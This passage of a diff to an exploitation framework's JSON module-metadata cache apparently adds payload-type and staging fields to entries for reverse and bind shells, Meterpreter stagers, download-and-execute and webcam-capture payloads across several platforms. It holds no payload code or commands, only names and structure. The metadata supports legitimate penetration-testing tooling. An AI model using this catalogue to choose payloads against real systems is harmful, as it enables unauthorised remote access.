(IPv6)", @@ -210674,7 +214878,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x64/shell_bind_tcp": { "name": "Linux Command Shell, Bind TCP Inline", @@ -210708,7 +214914,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x64/shell_bind_tcp_random_port": { "name": "Linux Command Shell, Bind TCP Random Port Inline", @@ -210742,7 +214950,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x64/shell_find_port": { "name": "Linux Command Shell, Find Port Inline", @@ -210776,7 +214986,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x64/shell_reverse_ipv6_tcp": { "name": "Linux x64 Command Shell, Reverse TCP Inline (IPv6)", @@ -210810,7 +215022,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x64/shell_reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Inline", @@ -210844,7 +215058,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x86/adduser": { "name": "Linux Add User", @@ -210880,7 +215096,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x86/chmod": { "name": "Linux Chmod", @@ -210914,7 +215132,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x86/exec": { "name": "Linux Execute Command", @@ -210950,7 +215170,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x86/meterpreter/bind_ipv6_tcp": { "name": "Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)", @@ -210986,7 +215208,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/bind_ipv6_tcp" }, "payload_linux/x86/meterpreter/bind_ipv6_tcp_uuid": { "name": "Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)", @@ -211023,7 +215249,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/bind_ipv6_tcp_uuid" }, "payload_linux/x86/meterpreter/bind_nonx_tcp": { "name": "Linux Mettle x86, Bind TCP Stager", @@ -211058,7 +215288,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/bind_nonx_tcp" }, "payload_linux/x86/meterpreter/bind_tcp": { "name": "Linux Mettle x86, Bind TCP Stager (Linux x86)", @@ -211094,7 +215328,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/bind_tcp" }, "payload_linux/x86/meterpreter/bind_tcp_uuid": { "name": "Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)", @@ -211131,7 +215369,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/bind_tcp_uuid" }, "payload_linux/x86/meterpreter/find_tag": { "name": "Linux Mettle x86, Find Tag Stager", @@ -211166,7 +215408,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/find_tag" }, "payload_linux/x86/meterpreter/reverse_ipv6_tcp": { "name": "Linux Mettle x86, Reverse TCP Stager (IPv6)", @@ -211201,7 +215447,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/reverse_ipv6_tcp" }, "payload_linux/x86/meterpreter/reverse_nonx_tcp": { "name": "Linux Mettle x86, Reverse TCP Stager", @@ -211236,7 +215486,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/reverse_nonx_tcp" }, "payload_linux/x86/meterpreter/reverse_tcp": { "name": "Linux Mettle x86, Reverse TCP Stager", @@ -211273,7 +215527,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/reverse_tcp" }, "payload_linux/x86/meterpreter/reverse_tcp_uuid": { "name": "Linux Mettle x86, Reverse TCP Stager", @@ -211310,7 +215568,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/reverse_tcp_uuid" }, "payload_linux/x86/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", @@ -211346,7 +215608,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x86/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", @@ -211382,7 +215646,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x86/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", @@ -211418,7 +215684,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x86/metsvc_bind_tcp": { "name": "Linux Meterpreter Service, Bind TCP", @@ -211452,7 +215720,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x86/metsvc_reverse_tcp": { "name": "Linux Meterpreter Service, Reverse TCP Inline", @@ -211486,7 +215756,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x86/read_file": { "name": "Linux Read File", @@ -211520,7 +215792,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x86/shell/bind_ipv6_tcp": { "name": "Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)", @@ -211556,7 +215830,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/bind_ipv6_tcp" }, "payload_linux/x86/shell/bind_ipv6_tcp_uuid": { "name": "Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)", @@ -211593,7 +215871,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/bind_ipv6_tcp_uuid" }, "payload_linux/x86/shell/bind_nonx_tcp": { "name": "Linux Command Shell, Bind TCP Stager", @@ -211627,7 +215909,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/bind_nonx_tcp" }, "payload_linux/x86/shell/bind_tcp": { "name": "Linux Command Shell, Bind TCP Stager (Linux x86)", @@ -211662,7 +215948,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/bind_tcp" }, "payload_linux/x86/shell/bind_tcp_uuid": { "name": "Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)", @@ -211698,7 +215988,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/bind_tcp_uuid" }, "payload_linux/x86/shell/find_tag": { "name": "Linux Command Shell, Find Tag Stager", @@ -211732,7 +216026,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/find_tag" }, "payload_linux/x86/shell/reverse_ipv6_tcp": { "name": "Linux Command Shell, Reverse TCP Stager (IPv6)", @@ -211767,7 +216065,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/reverse_ipv6_tcp" }, "payload_linux/x86/shell/reverse_nonx_tcp": { "name": "Linux Command Shell, Reverse TCP Stager", @@ -211801,7 +216103,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/reverse_nonx_tcp" }, "payload_linux/x86/shell/reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Stager", @@ -211837,7 +216143,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/reverse_tcp" }, "payload_linux/x86/shell/reverse_tcp_uuid": { "name": "Linux Command Shell, Reverse TCP Stager", @@ -211873,7 +216183,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/reverse_tcp_uuid" }, "payload_linux/x86/shell_bind_ipv6_tcp": { "name": "Linux Command Shell, Bind TCP Inline (IPv6)", @@ -211907,7 +216221,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x86/shell_bind_tcp": { "name": "Linux Command Shell, Bind TCP Inline", @@ -211941,7 +216257,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x86/shell_bind_tcp_random_port": { "name": "Linux Command Shell, Bind TCP Random Port Inline", @@ -211977,7 +216295,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x86/shell_find_port": { "name": "Linux Command Shell, Find Port Inline", @@ -212011,7 +216331,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x86/shell_find_tag": { "name": "Linux Command Shell, Find Tag Inline", @@ -212045,7 +216367,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x86/shell_reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Inline", @@ -212080,7 +216404,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/x86/shell_reverse_tcp_ipv6": { "name": "Linux Command Shell, Reverse TCP Inline (IPv6)", @@ -212114,7 +216440,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/zarch/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", @@ -212150,7 +216478,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/zarch/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", @@ -212186,7 +216516,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_linux/zarch/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", @@ -212222,7 +216554,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_mainframe/shell_reverse_tcp": { "name": "Z/OS (MVS) Command Shell, Reverse TCP Inline", @@ -212256,7 +216590,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_multi/meterpreter/reverse_http": { "name": "Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)", @@ -212290,7 +216626,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "multi/meterpreter", + "stager_refname": "multi/reverse_http" }, "payload_multi/meterpreter/reverse_https": { "name": "Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)", @@ -212324,7 +216664,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "multi/meterpreter", + "stager_refname": "multi/reverse_https" }, "payload_netware/shell/reverse_tcp": { "name": "NetWare Command Shell, Reverse TCP Stager", @@ -212358,7 +216702,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "netware/shell", + "stager_refname": "netware/reverse_tcp" }, "payload_nodejs/shell_bind_tcp": { "name": "Command Shell, Bind TCP (via nodejs)", @@ -212392,7 +216740,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_nodejs/shell_reverse_tcp": { "name": "Command Shell, Reverse TCP (via nodejs)", @@ -212427,7 +216777,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_nodejs/shell_reverse_tcp_ssl": { "name": "Command Shell, Reverse TCP SSL (via nodejs)", @@ -212462,7 +216814,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_osx/armle/execute/bind_tcp": { "name": "OS X Write and Execute Binary, Bind TCP Stager", @@ -212496,7 +216850,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "osx/armle/execute", + "stager_refname": "osx/armle/bind_tcp" }, "payload_osx/armle/execute/reverse_tcp": { "name": "OS X Write and Execute Binary, Reverse TCP Stager", @@ -212530,7 +216888,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "osx/armle/execute", + "stager_refname": "osx/armle/reverse_tcp" }, "payload_osx/armle/shell/bind_tcp": { "name": "OS X Command Shell, Bind TCP Stager", @@ -212564,7 +216926,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "osx/armle/shell", + "stager_refname": "osx/armle/bind_tcp" }, "payload_osx/armle/shell/reverse_tcp": { "name": "OS X Command Shell, Reverse TCP Stager", @@ -212598,7 +216964,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "osx/armle/shell", + "stager_refname": "osx/armle/reverse_tcp" }, "payload_osx/armle/shell_bind_tcp": { "name": "Apple iOS Command Shell, Bind TCP Inline", @@ -212632,7 +217002,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_osx/armle/shell_reverse_tcp": { "name": "Apple iOS Command Shell, Reverse TCP Inline", @@ -212666,7 +217038,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_osx/armle/vibrate": { "name": "Apple iOS iPhone Vibrate", @@ -212700,7 +217074,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_osx/ppc/shell/bind_tcp": { "name": "OS X Command Shell, Bind TCP Stager", @@ -212734,7 +217110,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "osx/ppc/shell", + "stager_refname": "osx/ppc/bind_tcp" }, "payload_osx/ppc/shell/find_tag": { "name": "OS X Command Shell, Find Tag Stager", @@ -212768,7 +217148,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "osx/ppc/shell", + "stager_refname": "osx/ppc/find_tag" }, "payload_osx/ppc/shell/reverse_tcp": { "name": "OS X Command Shell, Reverse TCP Stager", @@ -212802,7 +217186,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "osx/ppc/shell", + "stager_refname": "osx/ppc/reverse_tcp" }, "payload_osx/ppc/shell_bind_tcp": { "name": "OS X Command Shell, Bind TCP Inline", @@ -212836,7 +217224,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_osx/ppc/shell_reverse_tcp": { "name": "OS X Command Shell, Reverse TCP Inline", @@ -212870,7 +217260,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_osx/x64/dupandexecve/bind_tcp": { "name": "OS X dup2 Command Shell, Bind TCP Stager", @@ -212905,7 +217297,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "osx/x64/dupandexecve", + "stager_refname": "osx/x64/bind_tcp" }, "payload_osx/x64/dupandexecve/reverse_tcp": { "name": "OS X dup2 Command Shell, Reverse TCP Stager", @@ -212940,7 +217336,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "osx/x64/dupandexecve", + "stager_refname": "osx/x64/reverse_tcp" }, "payload_osx/x64/dupandexecve/reverse_tcp_uuid": { "name": "OS X dup2 Command Shell, Reverse TCP Stager with UUID Support (OSX x64)", @@ -212975,7 +217375,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "osx/x64/dupandexecve", + "stager_refname": "osx/x64/reverse_tcp_uuid" }, "payload_osx/x64/exec": { "name": "OS X x64 Execute Command", @@ -213010,7 +217414,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_osx/x64/meterpreter/bind_tcp": { "name": "OSX Meterpreter, Bind TCP Stager", @@ -213048,7 +217454,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "osx/x64/meterpreter", + "stager_refname": "osx/x64/bind_tcp" }, "payload_osx/x64/meterpreter/reverse_tcp": { "name": "OSX Meterpreter, Reverse TCP Stager", @@ -213086,7 +217496,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "osx/x64/meterpreter", + "stager_refname": "osx/x64/reverse_tcp" }, "payload_osx/x64/meterpreter/reverse_tcp_uuid": { "name": "OSX Meterpreter, Reverse TCP Stager with UUID Support (OSX x64)", @@ -213123,7 +217537,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "osx/x64/meterpreter", + "stager_refname": "osx/x64/reverse_tcp_uuid" }, "payload_osx/x64/meterpreter_reverse_http": { "name": "OSX Meterpreter, Reverse HTTP Inline", @@ -213159,7 +217577,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_osx/x64/meterpreter_reverse_https": { "name": "OSX Meterpreter, Reverse HTTPS Inline", @@ -213195,7 +217615,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_osx/x64/meterpreter_reverse_tcp": { "name": "OSX Meterpreter, Reverse TCP Inline", @@ -213231,7 +217653,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_osx/x64/say": { "name": "OS X x64 say Shellcode", @@ -213265,7 +217689,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_osx/x64/shell_bind_tcp": { "name": "OS X x64 Shell Bind TCP", @@ -213299,7 +217725,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_osx/x64/shell_find_tag": { "name": "OSX Command Shell, Find Tag Inline", @@ -213333,7 +217761,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_osx/x64/shell_reverse_tcp": { "name": "OS X x64 Shell Reverse TCP", @@ -213367,7 +217797,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_osx/x86/bundleinject/bind_tcp": { "name": "Mac OS X Inject Mach-O Bundle, Bind TCP Stager", @@ -213401,7 +217833,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "osx/x86/bundleinject", + "stager_refname": "osx/x86/bind_tcp" }, "payload_osx/x86/bundleinject/reverse_tcp": { "name": "Mac OS X Inject Mach-O Bundle, Reverse TCP Stager", @@ -213435,7 +217871,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "osx/x86/bundleinject", + "stager_refname": "osx/x86/reverse_tcp" }, "payload_osx/x86/exec": { "name": "OS X Execute Command", @@ -213471,7 +217911,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_osx/x86/isight/bind_tcp": { "name": "Mac OS X x86 iSight Photo Capture, Bind TCP Stager", @@ -213505,7 +217947,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "osx/x86/isight", + "stager_refname": "osx/x86/bind_tcp" }, "payload_osx/x86/isight/reverse_tcp": { "name": "Mac OS X x86 iSight Photo Capture, Reverse TCP Stager", @@ -213539,7 +217985,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "osx/x86/isight", + "stager_refname": "osx/x86/reverse_tcp" }, "payload_osx/x86/shell_bind_tcp": { "name": "OS X Command Shell, Bind TCP Inline", @@ -213573,7 +218023,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_osx/x86/shell_find_port": { "name": "OS X Command Shell, Find Port Inline", @@ -213607,7 +218059,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_osx/x86/shell_reverse_tcp": { "name": "OS X Command Shell, Reverse TCP Inline", @@ -213641,7 +218095,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_osx/x86/vforkshell/bind_tcp": { "name": "OS X (vfork) Command Shell, Bind TCP Stager", @@ -213675,7 +218131,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "osx/x86/vforkshell", + "stager_refname": "osx/x86/bind_tcp" }, "payload_osx/x86/vforkshell/reverse_tcp": { "name": "OS X (vfork) Command Shell, Reverse TCP Stager", @@ -213709,7 +218169,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "osx/x86/vforkshell", + "stager_refname": "osx/x86/reverse_tcp" }, "payload_osx/x86/vforkshell_bind_tcp": { "name": "OS X (vfork) Command Shell, Bind TCP Inline", @@ -213743,7 +218207,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_osx/x86/vforkshell_reverse_tcp": { "name": "OS X (vfork) Command Shell, Reverse TCP Inline", @@ -213777,7 +218243,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_php/bind_perl": { "name": "PHP Command Shell, Bind TCP (via Perl)", @@ -213812,7 +218280,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_php/bind_perl_ipv6": { "name": "PHP Command Shell, Bind TCP (via perl) IPv6", @@ -213847,7 +218317,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_php/bind_php": { "name": "PHP Command Shell, Bind TCP (via PHP)", @@ -213882,7 +218354,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_php/bind_php_ipv6": { "name": "PHP Command Shell, Bind TCP (via php) IPv6", @@ -213917,7 +218391,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_php/download_exec": { "name": "PHP Executable Download and Execute", @@ -213951,7 +218427,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_php/exec": { "name": "PHP Execute Command ", @@ -213985,7 +218463,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_php/meterpreter/bind_tcp": { "name": "PHP Meterpreter, Bind TCP Stager", @@ -214019,7 +218499,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "php/meterpreter", + "stager_refname": "php/bind_tcp" }, "payload_php/meterpreter/bind_tcp_ipv6": { "name": "PHP Meterpreter, Bind TCP Stager IPv6", @@ -214053,7 +218537,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "php/meterpreter", + "stager_refname": "php/bind_tcp_ipv6" }, "payload_php/meterpreter/bind_tcp_ipv6_uuid": { "name": "PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support", @@ -214088,7 +218576,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "php/meterpreter", + "stager_refname": "php/bind_tcp_ipv6_uuid" }, "payload_php/meterpreter/bind_tcp_uuid": { "name": "PHP Meterpreter, Bind TCP Stager with UUID Support", @@ -214123,7 +218615,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "php/meterpreter", + "stager_refname": "php/bind_tcp_uuid" }, "payload_php/meterpreter/reverse_tcp": { "name": "PHP Meterpreter, PHP Reverse TCP Stager", @@ -214157,7 +218653,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "php/meterpreter", + "stager_refname": "php/reverse_tcp" }, "payload_php/meterpreter/reverse_tcp_uuid": { "name": "PHP Meterpreter, PHP Reverse TCP Stager", @@ -214192,7 +218692,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "php/meterpreter", + "stager_refname": "php/reverse_tcp_uuid" }, "payload_php/meterpreter_reverse_tcp": { "name": "PHP Meterpreter, Reverse TCP Inline", @@ -214226,7 +218730,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_php/reverse_perl": { "name": "PHP Command, Double Reverse TCP Connection (via Perl)", @@ -214260,7 +218766,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_php/reverse_php": { "name": "PHP Command Shell, Reverse TCP (via PHP)", @@ -214294,7 +218802,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_php/shell_findsock": { "name": "PHP Command Shell, Find Sock", @@ -214328,7 +218838,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_python/meterpreter/bind_tcp": { "name": "Python Meterpreter, Python Bind TCP Stager", @@ -214362,7 +218874,11 @@ "notes": { }, 